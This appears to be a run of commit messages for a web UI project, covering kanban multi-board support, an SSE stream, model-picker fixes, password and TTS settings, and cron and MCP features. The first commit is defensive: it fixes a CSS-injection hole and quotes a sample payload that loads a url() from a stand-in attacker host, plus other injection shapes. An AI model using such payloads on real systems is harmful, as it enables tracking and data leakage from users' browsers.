`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.

Closes the remaining gaps to first-party Hermes Agent dashboard parity:
multi-board CRUD on /api/kanban/boards and a real-time event stream over
Server-Sent Events. Builds on top of #1660 (review-feedback hardening).
== Multi-board ==
Five new endpoints mirror the agent dashboard plugin contract verbatim
(plugins/kanban/dashboard/plugin_api.py) so a single CLI / gateway slash
command / dashboard / WebUI all share the same active-board pointer:
GET /api/kanban/boards
POST /api/kanban/boards
PATCH /api/kanban/boards/<slug>
DELETE /api/kanban/boards/<slug>
POST /api/kanban/boards/<slug>/switch
All existing endpoints accept ?board=<slug> (and writes also accept
'board' in the JSON body) — query takes precedence over body. The slug
travels through the kanban_db library which already had multi-board
support; the bridge is mostly thin wrappers around create_board /
remove_board / list_boards / set_current_board / get_current_board.
The default board is protected from deletion. Slugs are normalised
through kb._normalize_board_slug() with path-traversal rejection.
Archive is the default for DELETE; ?delete=1 hard-deletes.
Frontend gets a 'Default ▾' switcher pill in the panel header. The menu
lists every board (current first), per-status total badges, plus three
actions (New / Rename / Archive). Create + rename use the same modal
with a slug auto-derived from the name. Archive routes through the
existing showConfirmDialog with a clear 'tasks remain on disk and the
board can be restored from kanban/boards/_archived/' message.
Active-board state is persisted to localStorage so a refresh stays put.
The on-disk pointer in kanban/current is the cross-process source of
truth, kept in sync via POST /boards/<slug>/switch.
== SSE event stream ==
GET /api/kanban/events/stream is a long-lived Server-Sent Events feed
that mirrors the agent dashboard's WebSocket /events contract. The
WebUI uses SSE rather than WebSocket because (1) the existing transport
is BaseHTTPServer, not async — WS would require a significant refactor
or a hijack-the-socket hack; (2) SSE is the right tool for unidirectional
server-pushed event streams; (3) browsers auto-reconnect on drop;
(4) the existing /api/approval/stream and /api/clarify/stream patterns
are proven and easy to copy.
The handler polls task_events at 300ms (matching the agent dashboard's
WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow

Four follow-up issues found in the combined-stack live verification:
(1) handle_kanban_get had no exception handler; ImportError (webui-only deploy
without hermes_cli), ValueError, LookupError, RuntimeError would bubble
as 500. Wrapped in same exception cascade as POST/PATCH/DELETE.
(2) ImportError on any verb now returns 503 "kanban unavailable: <reason>"
instead of 500. Frontend's existing try/catch surfaces a clean toast.
(3) The 'Read-only view' banner (legacy of read-only PR #1645) was always
visible regardless of actual board state. Default-hidden in HTML;
loadKanban() toggles based on _kanbanBoard.read_only.
(4) .btn / .btn.secondary class names were referenced in 4 places (Bulk
action / Nudge dispatcher / New task / Back to board) but no matching
CSS shipped — buttons rendered as browser-default beveled controls
that clashed with the dark theme. Added scoped CSS rules under the
kanban-* parent containers.
+4 behavioral + static UI tests covering the contracts.
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
The PATCH /api/kanban/tasks/:id endpoint allowed any status-to-any-status
transition for the non-claim/complete/block/archive set via raw
`UPDATE tasks SET status = ?`. This let UI users (or any client) flip a
task to 'running' without going through kb.claim_task(), bypassing
claim_lock + claim_expires + started_at + worker_pid. The dispatcher
treats such a phantom-claimed task as orphaned and may reclaim, hide, or
double-dispatch it.
Match the agent dashboard plugin's contract
(plugins/kanban/dashboard/plugin_api.py update_task):
- status='running' via PATCH → ValueError (HTTP 400)
- status='ready' from currently-blocked → kb.unblock_task() (fires
'unblocked' event)
- status='ready' from anything else, plus status in {'todo', 'triage'}
→ new _set_status_direct() helper that nulls claim fields when leaving
'running', closes any active run with outcome='reclaimed', and
appends a 'status' event row to task_events
- status='done', 'blocked', 'archived' → unchanged (already structured)
Frontend changes:
- Drop 'running' from the .kanban-status-actions button row in the task
detail pane (clicking it would always 400 anyway).
- allowKanbanDrop() refuses the 'running' column as a drop target with
dropEffect='none' so users see immediate visual feedback that the
dispatcher/claim path owns running.
Tests added (3, all passing):
- test_patch_status_running_is_rejected_to_protect_dispatcher_contract
- test_patch_status_done_to_running_is_rejected
- test_patch_status_blocked_to_ready_routes_through_unblock_task
Existing 12 tests still pass.

Two related dropdown bugs in one PR — same root shape (model-picker
endpoints disagreeing about which Nous Portal models exist) plus the
preemptive UX guard against the picker becoming unusable on large-tier
Nous accounts.
#1567 — Endpoint disagreement
=============================
Reporter (Deor, Discord, May 03 2026) saw Settings → Providers card
showing "Nous Portal — 396 models · OAuth" while the in-conversation
picker dropdown listed only the four hardcoded curated entries.
Two structural causes:
1. ``api/providers.py:get_providers`` iterates ALL OAuth providers
regardless of authentication state and unconditionally live-fetches
the catalog.
2. ``api/config.py:_build_available_models_uncached`` only iterates
providers in ``detected_providers``, gated on
``hermes_cli.models.list_available_providers().authenticated``.
That flag can disagree with ``get_auth_status(<id>).logged_in`` on
some hermes_cli versions.
When the disagreement happens for Nous, the picker silently falls
through to the curated 4-entry static list while the providers card
keeps showing the live catalog — exactly the asymmetry users report.
Plus: the Nous live-fetch branch in `_build_available_models_uncached`
fell back to the same curated 4-entry list when `provider_model_ids`
returned an empty list (transient failure / OAuth refresh in flight),
which doubles down on the disagreement instead of healing it.
UX cap (the design concern Nathan flagged on triage)
====================================================
Even with the disagreement fixed, dumping a 397-model catalog into a
flat dropdown is unusable. We trim the visible picker to a curated
~15-entry featured set when the catalog exceeds 25 models, and surface
the rest under a new ``extra_models`` field so:
- ``/model`` slash autocomplete (commands.js) covers the full catalog
- ``_dynamicModelLabels`` (ui.js) hydrates from both lists, so a model
selected from outside the featured slice still gets a proper label
- The optgroup label gets ``" (15 of 397)"`` appended so the user
understands the dropdown is intentionally trimmed, not broken
- The providers card surfaces ``models_total`` separately so the
header still reads "397 models · OAuth"
- A small "+N more" disclosure pill appears at the end of the rendered
pill list (only fires for non-OAuth providers — OAuth cards never
render pills) with a tooltip pointing at the slash command
Featured selection rules
------------------------
Deterministic; same algorithm runs in both `/api/models` and
`/api/models/live` so background enrichment doesn't undo the trim:
1. Always include the user's currently-selected model (sticky — no
orphan IDs in the dropdown after a refresh)
2. Always include every entry from the curated static
``_PROVIDER_MODELS["nous"]`` list whose id maps onto a live id
3. Top up to 15 by walking ``_NOUS_VENDOR_PRIORITY`` round-robin
(one model per vendor each pass) so no vendor monopolises the slots
Changes by file
===============
api/config.py
- New `_format_nous_label` neighbour: `_NOUS_FEATURED_THRESHOLD = 25`,
`_NOUS_FEATURED_TARGET = 15`, `_NOUS_VENDOR_PRIORITY` tuple,
`_build_nous_featured_set()` helper (~80 LOC)
- `_build_available_models_uncached` Nous branch:
- Apply featured-set cap with sticky-selection signal
- Return `extra_models` alongside `models` for the catalog tail
- Decorate optgroup label with truncation count
- Drop stale-4 fallback when authenticated but live-fetch empty
(omit the group entirely; truth lives in the providers card and
the next cache rebuild will heal it)
- Keep stale-4 fallback when hermes_cli is unavailable (test envs,
package mismatches) — that's a different failure mode
- Detection symmetry: explicit `get_auth_status("nous").logged_in`
check after the existing `list_available_providers()` loop, so the
picker matches the providers card on hermes_cli versions where the
two signals disagree
api/providers.py:get_providers
- Apply same featured-set cap so card body doesn't render 397 pills
- Add `models_total` field reporting full catalog size (used by
frontend for the "N models · OAuth" header text)
api/routes.py:_handle_live_models
- Apply same featured-set cap for `/api/models/live` so background
enrichment via `_fetchLiveModels()` doesn't undo the dropdown trim
- Use sticky-selection from `cfg["model"]["model"]` matching the main
endpoint's logic
static/ui.js:populateModelDropdown
- Hydrate `_dynamicModelLabels` from `g.extra_models` so a selection
outside the visible dropdown still renders with its proper label
static/commands.js:_loadSlashModelSubArgs
- Iterate `group.extra_models` so `/model` autocomplete covers the
full catalog (not just the trimmed featured slice)
static/panels.js:_buildProviderCard
- Header count uses `p.models_total` (full catalog size) instead of
`p.models.length` (trimmed slice)
- Render trailing "+N more" disclosure pill when `models.length <
models_total` with a tooltip pointing at the slash command
static/style.css
- New `.provider-card-model-tag-more` rule (italic, dashed border,
cursor:help, no select) — visually distinct from real model pills
Tests
=====
`tests/test_issue1567_nous_picker_capacity_and_symmetry.py` (20 tests):
- TestBuildNousFeaturedSet (8): unit tests on the helper —
small-catalog no-op, large-catalog cap to target, disjoint+complete
invariants, priority-vendor round-robin guarantee, sticky selection
with and without `@nous:` prefix, curated-flagship preservation,
empty-catalog handling, determinism
- TestApiModelsLargeCatalog (2): /api/models cap behavior end-to-end
on a synthetic 397-model catalog vs a 20-model catalog
- TestNousDetectionSymmetry (2): picker includes Nous when
`get_auth_status` agrees but `list_available_providers` disagrees;
picker omits Nous when both disagree
- TestNousLiveFetchEmpty (2): authenticated + empty-fetch omits group;
hermes_cli unavailable still falls back to static-4
- TestProvidersCardPickerSymmetry (1): both endpoints agree on
exactly the same featured-set IDs + total catalog count
- TestFrontendExtrasContract (4): static-source assertions pinning
the JS contract for `extra_models`, `models_total`, and the "+N more"
disclosure
Verified live on port 8789 (30-model catalog):
- /api/models Nous group: provider="Nous Portal (15 of 30)", 15 models,
15 extra_models
- /api/models/live?provider=nous: 15 entries (matches main path)
- /api/providers Nous card: models_total=30, models=15
- Browser dropdown after backfill: 15 options, 30 entries in
_dynamicModelLabels
- Sticky selection: Claude Opus 4.7 (the active model) in the featured
slice as expected

Settings password silently no-opped when HERMES_WEBUI_PASSWORD was set:
the env var takes precedence in api.auth.get_password_hash(), but the UI
happily POSTed _set_password and returned a green "Saved" toast while
every subsequent login still required the env-var password. Same for
Disable Auth (_clear_password=true).
Backend (api/routes.py):
- GET /api/settings now exposes password_env_var: bool so the UI knows
the field is shadowed.
- POST /api/settings refuses _set_password and _clear_password with HTTP
409 + a clear message naming HERMES_WEBUI_PASSWORD when the env var is
set. Short-circuits BEFORE save_settings() so settings.json is not
touched.
Frontend (static/index.html, static/panels.js, static/i18n.js):
- Added settingsPasswordEnvLock banner div in the System pane.
- panels.js reads settings.password_env_var, disables the password field,
swaps in a localized "locked" placeholder, reveals the banner, and
hides the Disable Auth button (its POST would 409 anyway).
- New i18n keys password_env_var_locked and password_env_var_locked_placeholder
added to all 9 locales (en, ja, ru, es, de, zh, zh-Hant, pt, ko).
Tests:
- tests/test_issue1560_password_env_var_lock.py: requirement-pinning
(handler exposes flag, 409 on set/clear, banner div, panels.js wiring,
i18n in all 9 locales, env var name in messages, live HTTP smoke when
env unset).
- tests/test_1560_password_env_var_no_op.py: behavioral via FakeHandler
(real status codes for env-set/unset/blank, settings.json hash unchanged
after 409, panels.js disable+banner+placeholder+disable-auth-hidden).
Both files run clean: 23 passed in 2.04s. test_issue1139_password_remote.py
unaffected (4/4 still pass).
Closes#1538, #1539. Two related dropdown-staleness bugs reported by Deor
(Discord, May 03 2026).
#1538 — Nous Portal picker showed only 4 hardcoded models
=========================================================
The Settings → Default Model picker, the composer model dropdown, the
/model slash command, and the Settings → Providers card all showed only
four Nous models (Claude Opus 4.6, Claude Sonnet 4.6, GPT-5.4 Mini, Gemini
3.1 Pro Preview) because `_PROVIDER_MODELS["nous"]` had four hardcoded
entries and `_build_available_models_uncached()` fell through to the
generic `pid in _PROVIDER_MODELS` branch.
The actual Nous Portal catalog has 30 models live — Claude Opus 4.7, GPT-5.5,
Kimi K2.6, MiniMax M2.7, Gemini 3.1 Pro/Flash, several Xiaomi/Tencent/StepFun
entries, and more.
Fix:
- New `_format_nous_label()` helper in `api/config.py` — reuses the
`_format_ollama_label()` token rules, drops the vendor namespace, and
appends ` (via Nous)` so labels disambiguate from same-named direct-
provider entries (e.g. "Claude Opus 4.7" via direct Anthropic).
- New `elif pid == "nous":` branch in `_build_available_models_uncached()`
mirroring the Ollama Cloud pattern: live-fetch through
`hermes_cli.models.provider_model_ids("nous")`, prefix every id with
`@nous:` (matches the existing routing convention from PR-era #854 and
pinned in tests/test_nous_portal_routing.py), fall back to the curated
4-entry static list when hermes_cli is unavailable.
- Same fix applied to `api/providers.py:get_providers()` — that's the
separate code path that builds Settings → Providers card models, and
it had the identical bug shape.
#1539 — Removed provider lingered in dropdowns until restart
============================================================
After Settings → Providers → Remove, the provider's models still appeared
in every model dropdown until the page was reloaded. The server-side
TTL cache was correctly flushed (`set_provider_key()` calls
`invalidate_models_cache()` on both add and remove) but JS-side caches
were never dropped:
- `_slashModelCache` / `_slashModelCachePromise` (commands.js) — feeds
the `/model` slash-command suggestions.
- `_dynamicModelLabels` / `window._configuredModelBadges` (ui.js) —
populated by `populateModelDropdown()` on app boot and profile switch.
Pre-fix, `_removeProviderKey()` only called `loadProvidersPanel()`
which refreshed the providers card list but never asked any consumer
to re-fetch /api/models.
Fix:
- `static/commands.js`: new `_invalidateSlashModelCache()` helper that
nulls both cache slots, exposed on `window` (typeof-guarded so the
module remains importable in headless vm contexts — needed by the
existing tests/test_cli_only_slash_commands.py harness).
- `static/panels.js`: new `_refreshModelDropdownsAfterProviderChange()`
helper that calls the invalidator + `populateModelDropdown()`, wrapped
in try/catch so the providers panel update never breaks if a
downstream module hasn't loaded yet. Both `_saveProviderKey` and
`_removeProviderKey` invoke it (defense-in-depth: same staleness shape
applies to the add path too).
Tests
-----
- `tests/test_issue1538_nous_live_catalog.py` (12 tests): live-fetch
surfaces ≥20 entries, every id starts with `@nous:`, every label ends
with ` (via Nous)`, recent flagships (Opus 4.7, GPT-5.5, Kimi K2.6,
Gemini 3.1 Pro, MiniMax M2.7) reach the dropdown, static fallback
works when hermes_cli raises, label formatter unit tests (vendor
namespace stripping, variant rendering, MiniMax mixed-case), the
curated static list and its routing invariants are preserved.
- `tests/test_issue1539_provider_removal_dropdown_invalidation.py`
(11 tests): invalidator helper exists and clears both cache slots,
exposed on window with typeof guard, both save and remove paths
invoke the dropdown flush, helper calls both invalidator and
populateModelDropdown, helper is resilient to missing modules,
helper does not block panel refresh, server-side
`set_provider_key → invalidate_models_cache` invariant pinned.
Verified live on port 8789: `/api/models` Nous group returns 30
models (was 4); browser `document.getElementById('modelSelect')`
exposes 30 options under the "Nous Portal" group; the dropdown-flush
helper is callable from the browser and round-trip rebuild keeps the
dropdown at 30 options.
Test counts:
- Full pytest: 4013 passed, 2 skipped, 3 xpassed, 0 failures
(was 3990 → 4013, +23 from this PR).
- QA harness pytest: 20 passed.
- Browser API sanity: 11/11 passed.
- Agent Browser CDP: 21/23 passed (the 2 SSE liveness failures
reproduce on master and are unrelated to this PR).
Composer footer rendered two near-identical mic icons whose tooltips both
said "Voice input" — push-to-talk dictation and hands-free voice mode were
visually indistinguishable. Researched how ChatGPT/Claude/Gemini solve the
same problem and adopt the industry convention.
Changes:
- btnVoiceMode now uses Lucide audio-lines (6 vertical bars), the
universal voice-conversation glyph. Also registered in LI_PATHS.
- Distinct localized tooltips: voice_dictate ("Dictate") and
voice_mode_toggle ("Voice mode"), with active-state flips
(voice_dictate_active "Stop dictation", voice_mode_toggle_active
"Exit voice mode"). Legacy voice_toggle key removed (it resolved to
"Voice input" in every locale and caused the duplicate-tooltip bug).
- Voice mode is opt-in via Settings -> Preferences ->
"Hands-free voice mode button" (default off). Dictation mic stays
visible by default, unchanged. localStorage-backed; panels.js onchange
calls window._applyVoiceModePref() so the button appears/disappears
immediately without reload.
- 17 regression tests pin: distinct titles, audio-lines glyph, all 4
new keys in all 9 locales, removal of stale voice_toggle, English
labels match convention, pref gating (no unconditional display=''
left in boot.js), Settings checkbox + i18n, panels.js wiring,
active-state tooltip flips.
Browser-verified on port 8789: default state shows 1 mic; enabling
the pref makes the audio-waveform button appear live; tooltips read
"Dictate" and "Voice mode" distinctly.
Closes#1488
Two unrelated UX bugs, both small surgical fixes with regression tests.
Issue #1432 — "+" button doesn't open new chat during streaming
================================================================
Reported by @Olyno: clicking "+" after sending a first message keeps
redirecting to the same chat instead of opening a new blank conversation,
making parallel chats impossible until the first response finishes.
Root cause:
static/boot.js:691 (and the Cmd/Ctrl+K branch at :844) had an empty-session
guard from #1171 that skipped newSession() when message_count===0:
if(S.session && (S.session.message_count||0)===0){
$('msg').focus(); closeMobileSidebar(); return;
}
But during the first user turn of a brand-new session, message_count is
still 0 server-side because the user message hasn't been merged into
s.messages yet. The guard treated that as "empty" and silently dropped
the click, blocking parallel chats for the entire stream duration.
Fix:
Tighten the predicate to also exclude in-flight state:
if(S.session
&& (S.session.message_count||0)===0
&& !S.busy
&& !S.session.active_stream_id
&& !S.session.pending_user_message){
$('msg').focus(); closeMobileSidebar(); return;
}
Same predicate applied to the Cmd/Ctrl+K handler at :844. The in-flight
signal (active_stream_id || pending_user_message) is the same one
_restoreSettledSession() in messages.js:1081 already uses to decide
whether a session is "settled" — keeping both call sites aligned.
Verified end-to-end: with S.busy=true and pending_user_message set, the
old guard returned `block=true` (= the bug), the new guard returns
`block=false` (= fixed). With a truly empty session (no busy, no pending),
both old and new guards still block — preserving #1171 behavior.
Issue #1423 — Profile name field auto-capitalizes typed values
==============================================================
Self-reported (Mac app, May 1 2026): typing `hello` into the New Profile
"Name" field shows `Hello` after blur/autofill, contradicting the
"Lowercase letters, numbers, hyphens, underscores only" hint right next
to it. The form lowercases on submit so stored data is correct, but the
displayed value during typing is misleading.
Root cause:
static/panels.js:2532 had only autocomplete="off":
<input type="text" id="profileFormName"
placeholder="..." autocomplete="off" required>
Missing three attributes that actually prevent the misbehavior:
- autocapitalize="none" — mobile keyboards (iOS Safari, Android Chrome,
WKWebView in the Mac app) auto-capitalize the first letter without it
- autocorrect="off" — Safari runs autocorrect on blur, can rewrite hello→Hello
- spellcheck="false" — desktop browsers may run spellcheck on blur
Fix:
Add the three attributes to profileFormName. Also added to
profileFormBaseUrl since URLs are similarly bad targets for
autocapitalize/autocorrect. profileFormApiKey is type="password" and
already has correct browser behavior.
Verified end-to-end against the live DOM: openProfileCreate() →
getElementById('profileFormName').getAttribute(...) returns the new

-----
3648 passed, 2 skipped, 3 xpassed (was 3640 — added 8 new regression tests
in test_1432_newchat_and_1423_profile_input.py).
One pre-existing test had to be widened: tests/test_mobile_layout.py
test_new_conversation_closes_mobile_sidebar grabbed only the first 500
chars of the btnNewChat handler block to scan for closeMobileSidebar.
The new comment block pushed closeMobileSidebar past that window even
though both calls are still present. Bumped the window to 1500 chars
and the shortcut-block lines from 12 to 24 to match the multi-line guard.
Closes#1432Closes#1423
Reported by @Olyno (#1432, GitHub)
Two unrelated UX/Settings bugs, both small surgical fixes with regression
tests.
Issue #1409 — TTS toggle has no effect
=======================================
Reported via Discord: ticking Settings → Voice → "Text-to-Speech for
responses" did nothing. The speaker icon never appeared on assistant
messages despite the checkbox saving to localStorage correctly.
Root cause (CSS specificity collision):
static/panels.js _applyTtsEnabled() set
btn.style.display = enabled ? '' : 'none'
on every .msg-tts-btn. The '' branch removes the inline override, after
which the .msg-tts-btn { display:none; } rule from style.css re-hides the
button. Both branches left the icon hidden, so the toggle has been
silently broken since #499 first shipped the TTS feature.
Fix (body-class toggle, Option B from the issue):
- panels.js: _applyTtsEnabled now toggles body.classList('tts-enabled')
- style.css: new compound selector
body.tts-enabled .msg-tts-btn { display:inline-flex; align-items:center; }
- default-hidden rule (.msg-tts-btn{display:none;}) preserved so the icon
stays hidden by default (CSS-only state)
- boot.js paths that already call _applyTtsEnabled(localStorage…) work
unchanged — the new function applies state at the body level instead of
inline-styling individual buttons, so the rule survives renderMd()
re-renders without re-querying every button
Verified end-to-end against live server: getComputedStyle on a probe
.msg-tts-btn returns display:flex when body has tts-enabled, display:none
when it doesn't. Two regression tests in TestIssue1409TtsToggleBodyClass
explicitly check for the body-class shape and forbid the broken inline-style
pattern.
Issue #1410 — Ollama (local) shows "API key configured" when only
Ollama Cloud key is set
=================================================================
Reported via Discord: configuring Ollama Cloud lit up the local Ollama card
too. Both providers were mapped to OLLAMA_API_KEY in api/providers.py
_PROVIDER_ENV_VAR.
Root cause:
api/providers.py:47-48
"ollama": "OLLAMA_API_KEY",
"ollama-cloud": "OLLAMA_API_KEY",
_provider_has_key("ollama") found the value the user set for Ollama Cloud
and returned True. But the runtime code path in
hermes_cli/runtime_provider.py only consumes OLLAMA_API_KEY when the base
URL hostname is ollama.com (Ollama Cloud) — local Ollama is keyless by
default and reaches a custom base URL with no auth. The WebUI was
reporting "configured" for a key local Ollama doesn't even read.
Fix (Option A from the issue body, preferred):
- Drop bare "ollama" from _PROVIDER_ENV_VAR with an inline comment
explaining why
- _provider_has_key("ollama") falls through to the config.yaml branch,
which already supports providers.ollama.api_key for local users who
genuinely need to set a token
- ollama-cloud retains its OLLAMA_API_KEY mapping unchanged
Verified end-to-end against live server with OLLAMA_API_KEY=sk-cloud-key-test
in env: GET /api/providers reports has_key=True only for ollama-cloud, and
has_key=False for bare ollama. Two regression tests in
TestIssue1410OllamaEnvVarBleed cover the bleed-prevention case AND the
"local user with config.yaml api_key still reports configured" case to
guard against over-correction.

Closes#1409Closes#1410
Reported by @AvidFuturist (Discord, May 1 2026)
Persist session model_provider separately from model IDs so active/default provider selections like gpt-5.5 remain bare while routing through OpenAI Codex. Keep @provider:model for picker disambiguation and runtime bridging, and preserve explicit OpenRouter plus custom/proxy base_url routing.
Pre-release Opus review of v0.50.250 caught a UX regression in PR
#1369: _autosavePreferencesSettings unconditionally cleared
_settingsDirty=false and hid the unsaved-changes bar on every
successful autosave. But password and model are still committed via
the explicit 'Save Settings' button (password for security; model
goes through /api/default-model). Race scenario:
1. User opens System pane, types a new password (sets
_settingsDirty=true; bar appears on close)
2. User switches to Preferences, toggles any checkbox -> autosave
fires -> _settingsDirty=false, bar permanently suppressed
3. User closes panel -> _closeSettingsPanel short-circuits because
!_settingsDirty -> typed password silently discarded
(loadSettingsPanel blanks pwField.value='' on next open)
Same shape with model selector: pick a new default model, then
toggle any preference -> autosave fires -> no warning on close ->
model never persists.
Fix: only clear _settingsDirty and hide settingsUnsavedBar when both
the password field is empty AND the model selector matches its
on-open snapshot.
Pinned by an updated regression test asserting the conditional guard
exists.
Phase 2 of #1003: extend the autosave pattern from the Appearance
panel to the Preferences panel so all preference changes are saved
automatically without requiring a manual 'Save Settings' click.
Mirrors the Phase 1 (Appearance) pattern exactly:
- 350ms debounce on field changes (500ms additional debounce on
the bot_name text input — effective ~850ms latency for typing)
- Inline status feedback (saving / saved / failed + retry button)
- Clears dirty flag and hides unsaved-changes bar after successful save
- Password field excluded — still requires explicit save (security)
- Model selector excluded — still requires explicit save
13 fields now autosaving: send_key, language, show_token_usage,
simplified_tool_calling, show_cli_sessions, sync_to_insights,
check_for_updates, sound_enabled, notifications_enabled,
sidebar_density, auto_title_refresh_every, busy_input_mode, bot_name.
i18n keys (settings_autosave_saving/saved/failed/retry) already exist
in all 8 locales from Phase 1.

- Add _strip_masked_values() to skip masked placeholders in PUT endpoint,
preserving the original stored secret values instead of overwriting them
- Fix transport badge to gracefully handle unknown/future transport types
with a fallback that shows the raw string
- Add TestStripMaskedValues (5 tests) for the round-trip protection logic
- Addresses reviewer feedback on secret masking semantics and transport badge
- Add GET /api/mcp/servers (list with masked secrets)
- Add PUT /api/mcp/servers/<name> (add/update stdio and http servers)
- Add DELETE /api/mcp/servers/<name> (remove server)
- MCP section in System settings with server list, add/delete form
- Auto-detect transport type (stdio vs http) from server config
- Mask sensitive values (API keys, tokens, passwords) in list response
- Uses showConfirmDialog for delete confirmation (no native confirm)
- i18n: 21 keys across 7 locales
- 21 tests (list, save, delete, mask_secrets, validation)
- Remove raw err.message from error toast to prevent leaking internal error
details to the UI (Path Trust Boundary Rule)
- Use i18n key workspace_reorder_failed for the sanitized message
- Addresses reviewer concern about optimistic vs confirmed reorder:
the reorder is confirmed (API-first), not optimistic
_stopCronWatch() was only called when switching between cron job details
but not when the panel was cleared entirely (_clearCronDetail). This could
leave orphaned polling intervals if the user navigated away or the panel
was dismissed while a job was running.
Backend:
- Track running cron jobs in thread-safe dict (job_id → start_time)
- Wrapper _run_cron_tracked() marks done on completion
- New GET /api/crons/status?job_id=... returns {running, elapsed}
- New GET /api/crons/status returns all running jobs
Frontend:
- After 'Run Now', enters watch mode with 3s polling
- Shows running indicator (spinner + elapsed timer) in detail card
- Auto-detects running jobs when opening detail view
- Stops watch and refreshes output on job completion
- Cleanup on detail view switch
Note: True SSE streaming is not possible because the hermes-agent
scheduler writes output files only on completion. This polling
approach provides real-time status feedback within that constraint.
- Name dedup: 'Job (copy)', 'Job (copy 2)', 'Job (copy 3)' etc.
- Duplicates explicitly pass enabled:false to backend
- Normal cron create is unaffected (no enabled field sent)
Addresses reviewer feedback on #1225 (points 1 + 4).
- Add duplicate button in cron detail header
- Pre-fills create form with original job settings
- New job created as paused copy with '(copy)' suffix
- i18n keys in all 7 locales
Provider card improvements:
- Show model name tags when a provider card is expanded (panels.js)
- Add .provider-card-model-tag styling (style.css)
Custom providers in providers panel:
- Scan config.yaml custom_providers (e.g. glmcode, timicc) and list
them as providers with their configured models (api/providers.py)
- Detect API key status from env var references (${ENV_VAR})
Add loadDir('.') call in switchToProfile() Case B so the workspace file
tree panel reflects the new profile's workspace instead of showing stale
files from the previous profile.
Fix#1212: detect OAuth providers not in hardcoded set
Expand _OAUTH_PROVIDERS with copilot-acp and qwen-oauth.
Add fallback in get_providers() that checks hermes auth live status
for providers that have no API key and are not in the hardcoded set
(e.g. Anthropic connected via OAuth), so the Providers tab shows
them as configured.
fix+feat: batch v0.50.236 — OAuth providers fix, profile switch UX, YOLO mode (#1211)
Merges PRs #1208, #1209, #1210 (#1152 rebased):
- fix(providers): OAuth provider cards show correct Configured status in Settings.
get_providers() was discarding has_key=True from _provider_has_key() for OAuth
providers, hiding config.yaml tokens. Also fixed filter excluding all OAuth providers
from the Settings panel. Surfaces auth_error string. (closes#1202)
- ux(profiles): profile chip shows spinner and new name immediately on switch.
